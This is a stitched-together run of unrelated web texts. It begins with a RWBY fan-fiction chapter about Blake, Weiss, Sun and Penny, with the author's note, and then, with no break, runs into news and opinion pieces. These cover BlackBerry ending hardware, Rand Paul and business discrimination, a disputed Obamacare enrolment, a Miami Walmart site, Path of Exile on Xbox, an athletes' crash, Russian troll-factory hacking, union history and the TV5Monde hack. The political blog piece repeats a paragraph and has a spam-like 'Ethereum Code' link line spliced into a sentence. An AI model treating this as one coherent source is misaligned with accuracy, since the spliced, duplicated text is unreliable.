"Really, nobody? You all believe that the humans proposed the treaty? Well, society is good at telling its lies. Let me pose you a question. After a war, who typically proposes terms of ceasefire? The victors or the losers?"
Yang's eyes widened as the point hit her. She looked to her left to see the same expression on most of the class besides Blake, who looked like the cat that ate the canary.
"Now you're all thinking. So, who proposed the treaty?"
Pyrrha hesitatingly raised her hand.
"The Faunus? But in that case, why would they have accepted Menagerie as a shelter? They could have taken anywhere on Remnant - why suggest a treaty that leaves you worse off than you were pre-war?"
Oobleck grinned, walking back and forth so energetically Yang could have sworn he was about to start flying.
"And now we come to the crux of the dilemma! Why would the Faunus have made such an offer? As Ms. Nikos rightly says, they could have had anything-why take what the humans were forcing them towards anyway? Why make a treaty that leaves you worse off? The puzzle's almost put together, finish it off, take what you know and use it to find what you need!"
"Because the humans weren't the enemy that needed worrying about." Blake's voice was calm, as always, but Yang could almost hear her smile. "At the end of the war, the Grimm would have been out in force, almost as bad as they were during the Great War. Moving Faunus communities from Menagerie risked deaths and increasing unrest would mean Grimm attacks, so the Faunus took what they could without endangering the human world. In their Accords, they embodied the Faunus ideal of equality at all costs but life."
Weiss jumped to her feet. The professor abruptly pointed at her.
"Where are you going, Ms. Schnee?"
"The Faunus slaughtered people in cold blood and still do to this day. I won't stand by and hear them be aggrandized."
Blake stood up quickly, turning towards Weiss.
"The Faunus did nothing, Weiss. The White Fang, after decades of seeing their treaty spat on and protesting peacefully, escalated. Even if that escalation was wrong it doesn't mean their cause was wrong!"
"You sound like a sympathizer." Weiss's voice was eerily calm.
"Students!" Oobleck's voice was unexpectedly loud and serious. "Not in my classroom! I will tolerate debate but not this sort of bigotry!"
Weiss stalked out of the room. The entire class was silent for a few moments before Oobleck exhaled slowly and continued speaking, his head of steam totally gone.
"Anyway, now that that's over, let us continue to discuss the reactions to the Accords..."
Yang gently tapped Blake on the shoulder. Blake whirled at the touch, eyes wide. Yang leaned back, raising her hands placatingly and, lowering her voice.
"Easy there, tiger. Just wanted to know if you were alright."
Blake visibly tensed, responding in a shaky whisper. "I'm fine."
Yang raised a brow, smiling mischievously. "Yeah? You sure about that?"
"I said I'm fine. So drop it."
"Alriiight," Yang shrugged, not convinced in the slightest. "But you should know, now I'm curious."
"Curiosity killed the cat," Blake muttered.
"Not if it was a faunus-cat! Er, cat-faunus? Cat...uhnus…? Is that a thing?"
Blake's eyes widened. "W-what are you even talking about?"
Yang blew out a breath and slumped back against her seat. "Hell if I know, Blake. People are weird. World is weird. My partner is obviously an undercover White Fang member. I just don't know what to think anymore."
Blake straightened like a puppeteer just yanked her strings. "What?"
Yang threw her head back and laughed. "I'm just kidding! Geez, you're always so serious!"
Oobleck paused his lecture, raising his brows. "Is there something you would like to share with the class, Miss Xiao Long?"
Yang waved her hands. "No, no, sorry Prof. Keep going. I'm, like, super interested." She winked at Blake, nudging the girl with her elbow.
Blake gave her a tight, thin smile and turned away.
XxX
Sun
The cargo ship rumbled into the harbor, finally slowing to a stop after days of endless plodding motion. The doors at the top of the hold slowly swung open, light shining into the deep hold. Sun rolled out from his hiding place behind a cargo container, stood up, and stretched, relaxing as muscles popped in his shoulders and back and the welcome breeze brushed against his skin. Gods, that had been boring. He had expected it, stowing away was always dull, but normally he didn't have to stay that still! Whatever else you could say about Atlas security drones, they did their jobs. If only he could have brought his team with him and talked to someone - but getting Neptune onto a boat was impossible at the best of times. Keeping him quiet on a boat? Not even worth trying. He'd catch up with the others in a few weeks at the Vytal festival, anyway.
An Atlesian security drone wheeled around the corner, eyes flickering red when it caught sight of Sun.
"Intruder detected. Please identify yourself."
Sun grinned as his tail curled around a handle on the nearest cargo container, legs tensing to jump.
"James Ironwood."
The robot paused for a moment, considering this new information. Sun yanked himself upwards into the container, leaping off of it to a higher container as the drone's eyes flickered to red, guns retargeting to him.
"Aura mismatch. Impersonating Atlas officials and stowing away is a crime against the region. Please surrender peacefully."
Sun shrugged as he leapt onto the next container. He had gone long enough without getting caught-it was really about time, if he were to be honest with himself.
"Retreat and surrender are basically the same thing, right? I'm definitely being peaceful."
The drone opened fire. Sun sighed. What was with robots and not liking banter? He launched himself off of the next container, taking a few steps along the corrugated side of another before jumping up and out of the hole, landing in a roll on the deck. He rolled to his feet before tensing. This was probably going to hurt. His next jump took him off the deck and onto the docks, his Via Sun flickering into existence beneath him for a second to slow his fall. He hit the wooden boards hard, rolling onto his feet and into a lazy jog off the docks. At this point, he was home free. Nobody really cared about stowaways on land, and why would they? Not like there was any advantage to catching them. What were they going to do, send him back? He kept jogging steadily, eyes flickering around, taking in the sights.
Man, Vale was a nice city. Definitely better than Vacuo. Then again, the treehouses Sage built were better than Vacuo. It wasn't a high bar-
A sudden hand blocked Sun's path. He looked down to see the person the hand was attached to- an orange-haired, green-eyed girl. There was something a little odd about her eyes, but whatever. If Sun spent time worrying about odd people, team SSSN wouldn't have worked anywhere near as well as it did.
"Salutations, good citizen! I apologize for bothering you! I noticed you were coming from the area of the Vale Docks! I am tracking a stowaway from an Atlesian Cross-continental Cargo Ship from there- did you see anything strange?"
Sun's eyes widened slightly at her strange tone. It was almost like someone had been shown a thousand conversations and never tried one themselves. Also, they were sending trackers after him? Ha! That was ridiculous. What, was the ship carrying secret Atlesian military gear? He should probably deal with this. He grinned. Time to hope the drone hadn't snapped a photo amid all the gunfire.
"Oh, I was looking for the same stowaway! I'm Sun Wukong, from Shade Academy. I got here a bit early for Vytal."
He held out his hand. She looked uncertainly at it for a moment before her eyes brightened and she shook it. Sun winced. Her grip was strong, that was for sure. And weirdly... hard. Like metal.
"It is excellent to meet you, Sun Wukong! I am Penny Polendina, huntress in training from Atlas, here early for the same reason!"
"Sun's fine. So, how about we search for the criminal together? We'll cover more ground that way." Was spending time with the person who was hunting him a good idea? Eh, probably not. But that had never stopped him before.
Penny smiled widely.
"Sensational! I'm tracking-ready!"
"That's a weird way to phrase things, but sure. Where do you want to get started?"
The girl's eyes seemed to glow as her head tilted in thought.
"It looks as though the criminal took nothing, though he did identify himself as General Ironwood. Sun, why would he have lied like that?"
"I'm not sure. It's difficult to get into the mind of criminal masterminds like that, seeing as I'm a Huntsman and all." It was tough for Sun to keep a straight face. Maybe he was laying it on a little thick? Nah. If anything, not thick enough.
Penny nodded. Her eyes glowed for a moment. Yeah. Sun was sure they'd glowed that time. Definitely.
"It seems that the likely path of the criminal took him right by us? Sun, if we hurry we might be able to catch him!"
"Nice! Look, before we get started, can I ask you something?"
"Of course!"
Sun paused.
"Don't take this the wrong way, but, are you a cyborg Faunus?"
Her eyes widened as she blanched.
"I don't know what you are talking about! A cyborg Faunus? I'm a real girl!"
He held up a hand.
"Look, it's ok if you are, alright? None of my friends are normal. Your not normal just happens to include metal hands and glowing computer eyes. Beside, I've never met a cyborg Faunus before. I just want to know so I don't accidentally drop a magnet on you or something."
She stared at him.
"Did you just call me a...friend?"
"I mean, yeah, we're about to chase a stowaway together, right? And we could both use friends, we're new here."
Her grin stretched over her face almost unsettlingly widely.
"Sensational! So, friend, let's go catch a stowaway! And don't worry about magnets, my internal systems make them a nonissue. I mean - human bodies don't get affected by magnets. Yes."
Sun chuckled as she took off. He wouldn't lead her on a wild goose chase for long, but he could have some fun with this, right?
XxX
Blake
Blake walked slowly into her team's room. The door swung shut behind her, clack of metal on wood like a nail driven into a coffin. Ruby, Yang and Weiss were sitting quietly in the middle of the room, waiting for her. Yang looked apologetic. Weiss, meanwhile, appeared to be trying to burn a hole in Ruby with her eyes. There was still a chance this wasn't about Oobleck's class -
"We need to talk about what happened today." Ruby's voice was oddly solemn. It sounded almost like - no, exactly like how she had sounded in initiation. Her flat tone was broken up by the occasional pause, as though Ruby were searching for the most leaderly thing to say. "I can accept that my teammates have different opinions, but what happened in History shouldn't happen. We're going to talk about why what happened happened, but first - can you apologize to each other?"
Weiss turned her caustic glare up to face Blake.
"I'm not apologizing for calling someone what they are. You said it yourself, Belladonna. You agree with the White Fang's cause."
"Because their cause was making sure the Faunus receive what they were promised." It was all Blake could do to keep herself from saying 'we'.
"The Faunus were promised Menagerie. They have it. They were promised nondiscriminatory practices from the signatories of the treaty. They have it - all Remnant governments have laws guaranteeing equal treatment. You know what the humans were promised, Blake? We were promised peace."
"And you had it for decades, before the White Fang grew fed up with the failure of Remnant to honor the spirit of the Accords! They spent a half century dealing with people like you, people arguing that the Faunus were 'treated equally' while companies like the SDC pushed u-" Blake covered the sound with a cough, frantically reminding herself to stay calm, to stay hidden. This wasn't worth it. "-them into a cycle of poverty and slavery for the sake of cheap labor!"
Weiss's eyes flashed. Ruby held up a hand, voice wavering a little.
"Okay. You guys are saying what you feel, that's good, but maybe we could take it down a notch-"
"No." Weiss's voice had lost all traces of emotion beyond cold rage. "I will not let you drag the SDC through the mud to clear the names of dirty Faunus criminals."
Blake's eyes widened. She couldn't stop herself from saying what came next.
"So the truth comes out, huh? What's the issue, Weiss? Is it that they're White Fang? Or is it that 'dirty Faunus criminals' had the audacity to try and better themselves?"
"And so what if that's it? We've all seen what happens when the Faunus get political - maybe it works for a few decades, but then you get the Schnee dust train!"
"That's an exception, not the rule!"
Weiss's eyes widened.
"Oh, what makes you so sure of that? Some innate belief about 'the equality of Faunus'? Or do you have actual proof?"
"We were never supposed to kill civilians! Adam went off-script!" Blake froze.
"...What?" Weiss's anger seemed to have looped through cold back to incandescent.
"What are you talking about?" Ruby's aura of leadership was gone, replaced by confusion.
"Blake... what are you saying?" It was Yang's tone that did it. Blake couldn't bear that mix of confusion and fear. She couldn't help it.
Blake ran.
A/N: Nonstory thing first: I'll not be able to update the week after next for personal reasons - namely, being on a cabin in the woods for 5 days for a college pre-orientation program. So, you'll get next week's chapter as normal - it's the one after that'll be delayed for a week.
Also, when I finish the first arc I'll be taking a week or two hiatus to finish up planning for the next arc - however, there will be a bonus interlude chapter-it will be part of BB canon but not necessarily chronologically in the right place. Here's your hint as to what it is: 'The world according to Peter'.
Storywise: These three scenes flowed better than maybe any other scene I've written before.
Oobleck's class: this scene was originally from Oobleck's perspective, actually. Had to change that to get the Blake and Yang scene at the end, but it was high time we saw Yang on page anyway, so I'm glad I did. Oobleck will get POV sections in the next arc, most likely.
Also, all the White Fang and Menagerie Accords lore? Besides the Faunus agreeing to take Menagerie as a sanctuary, all of that is canon. The White Fang are possibly the most restrained freedom fighters in existence (well, if they existed). I'll refrain from saying more lest I reveal my own political beliefs.
Sun and Penny: this is the most fun I've had writing a scene since the 5th execution in LiDD. Can you tell?
Also, it was a toss-up before I started writing whether Penny would be like canon!Penny or whether I'd give her the LiDD!Alter-ego treatment. I am immensely happy with my choice.
The argument: Getting started with this was really difficult-but, once I got into the meat of the argument? Writing it flowed incredibly naturally. I actually found myself typing 'we' and 'us' in Blake's dialogue without thinking and had to erase them a few times.
Sean Gallagher
Andrew Cunningham
Andrew Cunningham
BlackBerry
BlackBerry CEO John Chen has been hinting at this move for almost a year now: today BlackBerry announced it will no longer design hardware. Say goodbye to all the crazy hardware QWERTY devices, ultra-wide phones, and unique slider designs.
Speaking to investors, BlackBerry CEO John Chen described the move as a "pivot to software," saying, "The company plans to end all internal hardware development and will outsource that function to partners. This allows us to reduce capital requirements and enhance return on invested capital." The "Outsourcing to partners" plan is something we've already seen with the "BlackBerry" DTEK50, which was just a rebranded Alcatel Idol 4. Alcatel is a subsidiary of TCL.
Chen is now betting the future of the company on software, saying, "In Q2, we more than doubled our software revenue year over year and delivered the highest gross margin in the company's history. We also completed initial shipments of BlackBerry Radar, an end-to-end asset tracking system, and signed a strategic licensing agreement to drive global growth in our BBM consumer business."
BlackBerry never effectively responded to the 2007 launch of the iPhone and the resulting transition to modern touchscreen smartphones. BlackBerry took swings with devices like the BlackBerry Storm in 2008, its first touchscreen phone; and the BlackBerry Z10 in 2013, the first BlackBerry phone with an OS designed for touch, but neither caught on. BlackBerry's first viable competitor to the iPhone didn't arrive until it finally switched to Android in 2015 with the BlackBerry Priv. It was the first decent BlackBerry phone in some time, but the high price and subpar hardware led to poor sales.
The Priv made it seem like BlackBerry had a path to hardware survival. After finally trying Android once, though, BlackBerry is throwing in the towel.
Save the hardware division a spot in the graveyard next to Nokia.
Update: While BlackBerry won't be making hardware anymore, John Chen told Canadian TV network BNN that it plans to license its QWERTY keyboard patents to other companies.
UPDATED (2/2016)
In this piece Jason Newell digs deeper into a theme that I find fascinating—Stupidparty’s infantile notions about Freedom. “I want my Freedom’s” they chant. I devote a whole chapter to this subject: “Freedoms Is Slavery” and I list thirty four phony Freedoms, of which I analyze in detail ten different types of so called Freedoms. I did not specifically tackle the Freedom to discriminate – as in the recent Indiana Pizza discrimination saga. In Indiana various business owners believe that they should have the right to discriminate based on their religious prejudices. Jason will take these people to task in a very thorough manner. I would like to add that people who state that their Christian views deem it necessary to discriminate – are not Christians at all. They have forgotten or never learned true Christian principles, which are surely derived solely from the teachings of Jesus Christ. Jesus was not a bigot -his values being diametrically opposed to the majority of Stupidparty faux Christians and the 80% of evangelicals who voted for Mitt Romney—an Asset Stripping sexist Mormon Serial Liar.
By Jason Newell: “It’s my business and I’ll deny if I want to,
Deny if I want to,
Deny if I want to,
You would deny too if Ayn Rand indoctrinated you.”-GOP Remix of the ’60s, Leslie Gore classic “It’s My Party.”Have you ever heard this song? If not, I’m surprised, being that it has become a hit in some conservative states. As a matter of fact, the song is so popular, that some presidential candidates have incorporated the tune into their political platforms. One such candidate, Senator Rand Paul, has a peculiar history regarding property rights: in 2013, he claimed to support the passage of the Civil Rights Act, but had some reservations regarding the right for a business to deny customers based on personal preferences. “It’s my business and I’ll deny if I want to,Deny if I want to,Deny if I want to,You would deny too if Ayn Rand indoctrinated you.”-GOP Remix of the ’60s, Leslie Gore classic “It’s My Party.”Have you ever heard this song? If not, I’m surprised, being that it has become a hit in some conservative states. As a matter of fact, the song is so popular, that some presidential candidates have incorporated the tune into their political platforms. One such candidate, Senator Rand Paul, has a peculiar history regarding property rights: in 2013, he claimed to support the passage of the Civil Rights Act, but had some reservations regarding the right for a business to deny customers based on personal preferences. To be more specific, Rand Paul considers an individual’s business to be an extension of their household—a place where discrimination is permitted. In a household, I can refuse to permit anyone to enter, even if my rationale is a general dislike of African Americans—unless, of course, I have an enforceable warrant out for my arrest, a judge has approved a search of my house, or I’m under investigation for suspected terrorist activities. The point being: the household is a location of virtually absolute autonomy.
However, businesses, privately held entities that are a part of the public sphere, aren’t necessarily classified in the same category as private households. For one, legal precedent has established a clear set of rules relating to the “right to refuse”—jurisprudence that, for the most part, creates legal parameters for an individual’s right to discriminate. But, let’s return to the subject as it pertains to the policy platform of Rand Paul. In 2013, Rand Paul said the following statement in response to questions about his stance on the Civil Rights Act: The civil right act was passed in the year 1964, this law has banned the segregation of whites and blacks in the public places and banned the employment discrimination based on race, religion, color, sex and national origin. This act is considered as one of the best act that was achieved by civil right movement. To know more about civil right movement click on Ethereum Code “I think if you have a two-story office and you hire someone who’s handicapped, it might be reasonable to let him have an office on the first floor rather than the government saying you have to have a $100,000 elevator. And I think when you get to solutions like that, the more local the better, and the more common sense the decisions are, rather than having a federal government make those decisions.” Basically, according to Rand Paul, the federal government’s enforcement mechanisms are overburdensome, and therefore should be rolled back. Nonetheless, the seemingly troublesome burden placed on the private business man, i.e., Paul’s example of a businessman having to install a wheel chair ramp for a disabled hire, is steeped in conservative hyperbole. For one, the purposes of the Civil Rights Act were largely centered on Southern racial discrimination in the form of Jim Crow Laws, so having an aversion, as Ron Paul does, to the policy intentions of this act may have imperceptible racial underpinnings. The cloak of business rights is simply another way for bigoted individuals to restrict civil liberties, particularly against subjugated minority groups.
The Georgia college student who basked in national media attention after claiming he and his dad were among the first to enroll in Obamacare is changing his story.
“I never said that I had actually purchased a plan,” said Chad Henderson, 21, who was thrust into the national spotlight after announcing Tuesday on Twitter that he had “enrolled in Obamacare.” He told POLITICO Friday he had been online to shop in the federal exchange, but had never completed the final steps of getting in the health plan.
Story Continued Below
Henderson, an Organizing for Action volunteer and supporter of President Barack Obama, said he was “sorry for this confusion” and never intended to mislead the numerous media outlets, including POLITICO, that contacted him to hear his story. “I’ve received so much flak for something that has been misinterpreted,” he said.
Questions arose after Reason’s Peter Suderman contacted Henderson’s father, Bill, who owns a shaved ice company in Chattanooga, Tenn. He posted a story outlining discrepancies.
( PHOTOS: 25 unforgettable Obamacare quotes)
Henderson became an instant poster-boy for Obamacare after claiming to have worked through the glitch-ridden system to obtain coverage for himself and his father. He tweeted his experience and offered to recount his story to reporters, who were looking for proof that someone — even one person — had made it successfully through the entire exchange sign-up process. HHS had said people had enrolled but given scant details.
After telling his story on Twitter and Facebook, Henderson received social media props from Enroll America and top Obama administration officials. Henderson sought some media attention, reaching out first to local outlets on Twitter. Enroll also touted his story as an early example of the promise of Obamacare exchanges.
Henderson says that what he actually did was submit demographic and income information to the system, leading him to a menu of insurance options. But he said he and his dad have yet to make a final selection, although he’s interested in a bronze-level plan with low premiums.
“I said that I have chosen a plan. I just have not had the time to go through the payment process,” he said. “No, we have not paid for a specific plan. We have, to my understanding, enrolled in the marketplace.”
MIAMI (CBSMiami) — Federal officials warned a developer who plans on building a Walmart and other businesses on Miami-Dade land to stop planning construction of the mixed use development until a survey is done of the endangered wildlife on the property.
The 140-acre property, which is considered one of the world’s rarest forests, has endangered pine rockland and about 200 species.
According to our news partners the Miami Herald, in response to the plans, U.S. Fish and Wildlife Service sent a strongly worded letter to Palm Beach County developer Ram Realty Services that said at least eight threatened species, including the federally protected bonneted bat and two endangered plants could be on the land which is located near Zoo Miami.
Craig W. Aubrey, South Florida field supervisor for the U.S. Fish and Wildlife Service told the paper, the group should first obtain a federal permit before moving on with any work which could possibly threaten the protected species on the land.
Ram Chairman Peter Cummings responded in statement, saying he was reviewing the recommendation and plans to meet with wildlife officials.
“We will take no action that disturbs the natural environment before resolving the Service’s concerns,” the statement said. “The environment will be a valuable asset for the community we plan to create.”
Walmart spokesman Bill Wertz also said he is dedicated to preservation.
“Walmart is one of the tenants of Ram Real Estate’s Coral Reef Commons. As a company that has actively worked for nearly a decade with the National Fish and Wildlife Foundation to protect priority lands across the country, our expectation is that Ram continue working with the conservation community and regulatory agencies to ensure the nearly 50-acre nature preserve it has set aside provides protection to South Florida wildlife.”
While Walmart promises to keep preservation a priority, some people are concerned the development will lead to a major disruption in the ecosystem.
Laura Reynolds with the Tropical Audubon Society told CBS4’s Cynthia Demos, “Our imperiled land is being replaced by Walmart, it’s sad.”
Reynolds said even though only half of the land will be developed, it’s a tragedy for the wildlife.
Ram agreed to set aside 40 acres for a preserve, however, there are plans for another 35 acres adjacent to the property to also be developed.
The property was sold by the University of Miami to Ram.
In addition to Walmart, an LA Fitness center, Chik-fil-A and Chili’s restaurants along with about 900 apartments are in the plans to be built.
The plans are not sitting well with environmentalists and biologists.
A board member of Tropical Audubon and the North American Butterfly Association, told the Herald he wrote to Florida’s lead federal wildlife agent to demand an investigation.
Jennifer Possley with Fairchild Tropical Gardens and a team were given the okay to rescue what they could.
“We’ve rescued 30 species so far but there are about 200 in there,” said Possley.
Environmentalists are upset that UM would sell the land for development.
“For an institution of higher-learning I would have thought they would have been a little more sensitive to something that exists nowhere else in the world,” said Dennis Olle with the Tropical Audubon Society.
UM issued this statement: Prior to the sale to Ram, the University executed a covenant running with the land in favor of Miami-Dade County concerning …..the Pine Rockland … Ram ….will be required to abide by the Covenant and Management Plan thus ensuring the preservation.
Ram’s CEO said the land, located at Coral Reef Drive and Southwest 127th Avenue. was chosen because it is a place people can easily walk to from nearby neighborhoods.
It was originally part of the 2,100 acre Richmond Naval Air Station and was mainly undeveloped since the University of Miami opened its South Campus in 1946.
UM tried to develop the land into an academic village in 2003, but the plans fell through.
The land is home to rare plants and butterflies – including the Bartram’s hairstreak that is expected to be named to the endangered species list this summer.
In the past, Federal officials had said they’re closely watching the project, but would only be able to get involved if federal money or property is involved, according to the paper. Sanctions can only be issued if endangered animals such as the eggs of a butterfly are killed.
The Miami-Dade county Natural Resources Planning Section Chief, Craig Grossenbacher, told the Herald, his hands are tied too because of an ordinance that allows officials to require forest protection only when the land is developed.
He added, getting the land set aside as a preserve is better than none.
Large swaths of the land no longer qualify as forest because during the years UM owned the land, outside species invaded much of the land and slash pines which blocked sunlight and choked out some species of plants.
(©2014 CBS Local Media, a division of CBS Radio Inc. All rights reserved. This material may not be published, broadcast, rewritten, or redistributed. CBS4 news partner The Miami Herald contributed material for this report.)
Xbox One players will play on their own realm, separate to the PC realm. This is due to small gameplay differences between the two versions, such as the number of Flask slots and how some skills are targeted. We intend to follow the same content and league release schedule on both the Xbox One and PC versions of Path of Exile.
We're really excited about this release. It represents over a year of work from a small strike team within our studio - the guys who also created our DirectX 11 version. We'll announce more information over the coming weeks!
James Ellington on crash: ‘I do not know how me or Nigel are still alive’
James Ellington has said he does not know how he and Nigel Levine are still alive after the British pair were left with injuries that are likely to end their careers following a head-on collision with a car during a training camp in Tenerife.
David Weir ‘let down again’ as he attacks British Athletics before retiring Read more
Ellington, who competed for Team GB in the 100m and 4x100m relay at the Rio Olympics in August, was the pillion on a motorbike being ridden by Levine, who represented Britain at the Games in the 4x400m relay, when it crashed into a car allegedly being driven on the wrong side of the road on Tuesday evening.
There is no suggestion Levine, an experienced motorcyclist, did anything wrong. Unconfirmed reports from Spain suggest the driver of the car was a tourist unused to driving on the right-hand side of the road.
Ellington had surgery to repair a broken tibia and fibula on Wednesday. The 31-year-old, who was wearing a helmet, is understood to have two fractures in an eye socket and to have broken his pelvis. He will undergo at least one more operation in Spain.
His mother and girlfriend flew out on Wednesday night to comfort him and he posted a message on Instagram: “I truly am blessed as I do not know how me or my training partner Nigel are still alive. Me and him are both strong characters and will be looking to bounce back from this horrific accident.”
Overwhelmed and truly touched by everyone's messages and support, I truly am blessed as I do not know how me or my training partner Nigel are still alive. Me and him are both strong characters and will be looking to bounce back from this horrific accident. A photo posted by James Ellington (@jimmyells) on Jan 18, 2017 at 9:34am PST
Levine’s injuries are serious but not as extensive. He will need surgery to stabilise his pelvis before leaving hospital and could require another operation in the UK.
Both men’s injuries are severe enough to rule them out for the rest of this year at the very minimum and the chances of them returning to top-class competition look slim.
After the Guardian broke the news on Wednesday lunchtime, their team-mates took to social media to express their horror at what had happened. Ellington said he had been “overwhelmed and truly touched”. Another member of Team GB’s 4x100m squad Richard Kilty, who had been with Ellington and Levine in Spain, wrote: “Jimmy is one of the toughest mates I know and absolutely gutted and heartbroken out here.”
He added: “Pray for Nigel! Devastated for both of them. Such an unfortunate accident, both strong and will be fighting through.”
Adam Gemili, who along with Kilty and Ellington was a member of the relay team who finished fifth in Rio, wrote: “Please can you all keep a space in your prayers for James and Nigel. Absolutely gutted to hear this news.” Greg Rutherford, the London 2012 long jump champion, also tweeted his condolences, saying: “Terrible news. I really hope you can come back from this guys. All the very best.”
Adam Gemili (@Adam_Gemili) Please can you all keep a space in your prayers for @Jellington100m and @NigelLevine. Absolutely gutted to hear this news. Stay strong guys! https://t.co/8ghO32CABG
Dina Asher-Smith, the British record-holder in the 100m and 200m, tweeted: “Please send your love and save a space in your prayers for our boys, James and Nigel, absolutely heartbroken.”
Ellington made news in 2012 when he was so desperate to qualify for the Olympics he auctioned himself on eBay to raise funds for his training campaign. After an anonymous £32,500 bid was shown to be a hoax he was sponsored by the King of Shaves and went on to compete in the London Games in the 200m.
In 2005 he was involved in an incident in which he claimed he had been dragged from a car by police, thrown to the ground and kneed in the back after being mistaken for a suspected armed robber.
For many years he has been a mainstay of the relay team, helping Britain win 4x100m gold in the 2014 and 2016 European championships and a relay silver in the 2014 Commonwealth Games. In 2016 he enjoyed his best year, setting a 100m personal best of 10.04sec and running a wind‑assisted 9.96 at the British trials to qualify for the Rio Olympics.
The 27-year-old Levine has helped Britain win eight world and European 4x400m relay medals, including gold at the 2014 European championships and 2013 European indoor championships. He also won indoor individual 400m silver at the 2013 European tournament.
A British Athletics spokesman said: “Regretfully we can confirm that James Ellington and Nigel Levine have sustained injuries following a road accident in Tenerife.
“Both athletes are receiving medical treatment and are conscious and stable. British Athletics medical staff are with the athletes and liaising with hospital staff over their treatment.
Denis Korotkov, a journalist at Fontanka, wrote several articles mentioning Prigozhin in early June 2016 and soon after found himself the victim of a cyber-attack to steal his personal information.
The perpetrator, a Fontanka investigation showed, was registered under the username “Kriv Vetka” and was working from an IP-address registered to the company Glavset, which is the legal face behind the so-called “troll factory,” whose activities are widely believed to be sponsored by Prigozhin. According to Fontanka, it is, therefore, possible that Prigozhin’s organizations are linked to a series of cyber-attacks against St. Petersburg-based oppositionist activists.
It is known that the private data of at least three other victims in these cyber-attacks are now contained in a database on the website Whoiswhos.me, which is known to store information about bloggers who are critical of the Russian government.
Fontanka notes that the email address used in the attack against Korotkov is believed to belong to “troll-factory” employee Nikita Podgorny and is linked to the websites Whoiswho.org and Whoiswho.com.ua, both of which are owned by Whois Privacy Corp.
SOCIALISTS ARE fond of quoting the statement by the abolitionist Frederick Douglass "Without struggle, there is no progress."
"The whole history of the progress of human liberty," Douglass wrote, "shows that all concessions yet made to her august claims have been born of earnest struggle."
A good example of Douglass' point can be found in the trade union movement. Until very recently, trade union membership as a percentage of the total U.S. workforce continued to decline. Wages barely increased at all during the 1990s--in fact, after accounting for inflation, they were lower than in 1973--while executive pay skyrocketed to unimaginable heights.
Though a Democrat was president through most of the decade, no major pro-labor legislation was enacted, and the federal government even engaged in its own downsizing program, cutting almost 400,000 government jobs. Bill Clinton cut social spending by billions, and millions more people ended up with no health insurance, despite the fact that health care reform was supposed to be Clinton's "number one priority" when he was elected in 1992.
Columnist: Paul D’Amato Paul D'Amato is managing editor of the International Socialist Review and author of The Meaning of Marxism, a lively and accessible introduction to the ideas of Karl Marx and the tradition he founded. Paul can be contacted at [email protected].
Yet during this same period, unions gave millions and millions of dollars to the Democratic Party. During Election 2000 alone, labor gave more than $12.7 million to federal Democratic Party committees. The Service Employees International Union (SEIU) alone contributed $2.4 million to the Democrats in "soft money."
Meanwhile, union struggles have been at low ebb for most of the 1990s. Compare this to the mid-1930s--a period in which another Democrat, Franklin Roosevelt, was president. On the heels of the worst economic crisis in U.S. history, union membership exploded from 2.6 million in 1934 to 7.3 million in 1937.
WHAT EXPLAINS the difference between the 1930s and the 1990s?
The difference was that millions of workers took matters into their own hands and engaged in mass struggle in the 1930s. As many as 1 million unemployed workers across the country responded to a Communist Party call to march for unemployment relief in 1930.
But that was only a warm-up. In 1934, there were 1,856 strikes, three times more than in 1933. By 1937, there were three times more strikes again---4,470. Many of those strikes were sit-down strikes, where workers--large numbers of whom had never been in a strike before--sat down and occupied the plant in order to gain union recognition.
Under these circumstances, Roosevelt, though not particularly liberal before he was elected in 1932, was forced to implement policies aimed at appeasing working-class anger in order to save a system in crisis. "Those who have property," he once remarked, fail "to realize that I am the best friend the profit system ever had."
The Democratic Party regularly milks millions from the unions, and what do workers get in return? Some union leaders might get a meeting here or there with the president--and maybe even a sleep over in the Lincoln bedroom or a ride on Air Force One.
But there's a price to be paid by the unions for cozying up to the White House. It puts union leaders in a closer relationship with the Washington elite than with their own membership--encouraging labor officials to value rubbing elbows with the rich over struggle.
The relationships between bosses and the Democratic Party and unions and the Democrats are therefore reversed. Corporate money ties the Democratic Party to the interests of big business--whereas union money ties union leaders to the Democrats.
Because of this, Democratic politicians can take labor's support for granted even when they act against workers' interests.
Real change for workers won't come without mass struggles like the ones engaged in during the 1930s. In the meantime, unions should spend their money on organizing the unorganized and building strike funds--and beginning to build a political alternative to the Democrats.
The "mighty roar" of class struggle--not campaign contributions to pro-business political parties--is the key to real progress for the labor movement.
France’s culture minister is to call an urgent meeting of French media groups to assess their vulnerability to hacking after the public service television network TV5Monde was taken over by individuals claiming to belong to Islamic State, blacking out broadcasts as well as hacking its websites and Facebook page.
All TV5Monde broadcasts were brought down in a blackout between 10pm and 1am local time on Wednesday to Thursday by hackers claiming allegiance to Isis. They were able to seize control of the television network founded by the French government in 1984, simultaneously hacking 11 channels as well as its website and social media accounts.
Experts say the cyber-attack represented a new level of sophistication for the Islamist group, which has claimed complex hacking before, but nothing as big as this. The Paris prosecutor’s office has opened a terrorism investigation into the attack.
The culture minister, Fleur Pellerin, said she would bring together all heads of big French TV companies as well as newspaper groups and the news agency Agence France-Presse within 24 hours “to assure myself of their vulnerable points, any risks that exist and the best way to deal with it”.
The interior minister, Bernard Cazeneuve, said France had already increased its anti-hacking measures to protect against cyber-attacks following January’s gun attacks on the satirical weekly Charlie Hebdo and the bloody hostage-taking at a Kosher grocery store in Paris, which left 17 people dead.
The prime minister, Manuel Valls, called the attack on TV5Monde “an unacceptable insult to freedom of information and expression”.
During the attack, the hackers posted documents on TV5Monde’s Facebook page purporting to be the identity cards and CVs of relatives of French soldiers involved in anti-Isis operations, along with threats against the troops.
“Soldiers of France, stay away from the Islamic State! You have the chance to save your families, take advantage of it,” read one message.
TV5Monde had regained control of its social networks by 2am on Thursday but said television broadcasts were likely to take hours, if not days, to return to normal. The station restored its signal later in the morning but was still only able to broadcast pre-recorded material.
At 6pm, TV5Monde had regained control of its social networks and television broadcasts had returned to normal, including live broadcasts.
The network’s director general, Yves Bigot, said its systems had been severely damaged and that hacking on this scale would have needed weeks of preparation.
He told RTL radio: “When you work in television and you hear that your 11 channels have been blacked out, it’s one of the most violent things that can happen to you. At the moment, we’re trying to analyse what happened: how this very powerful cyber-attack could happen when we have extremely powerful and certified firewalls.”
The cyber-attack on the station’s Paris headquarters completely shut down the computer systems – which run everything from email accounts to production equipment, including the servers used to broadcast TV5Monde’s television signals.
“This is a typical cyber-attack in today’s cyber landscape,” said Christophe Birkeland, vice-president of engineering at the US-based security firm Blue Coat Systems. “The initial infection is probably either someone’s stolen credentials, probably for remote networking access, or the installation of a remote administration tool used to access deeper and deeper levels of the network and attack systems. Both of these attacks typically use social engineering.”
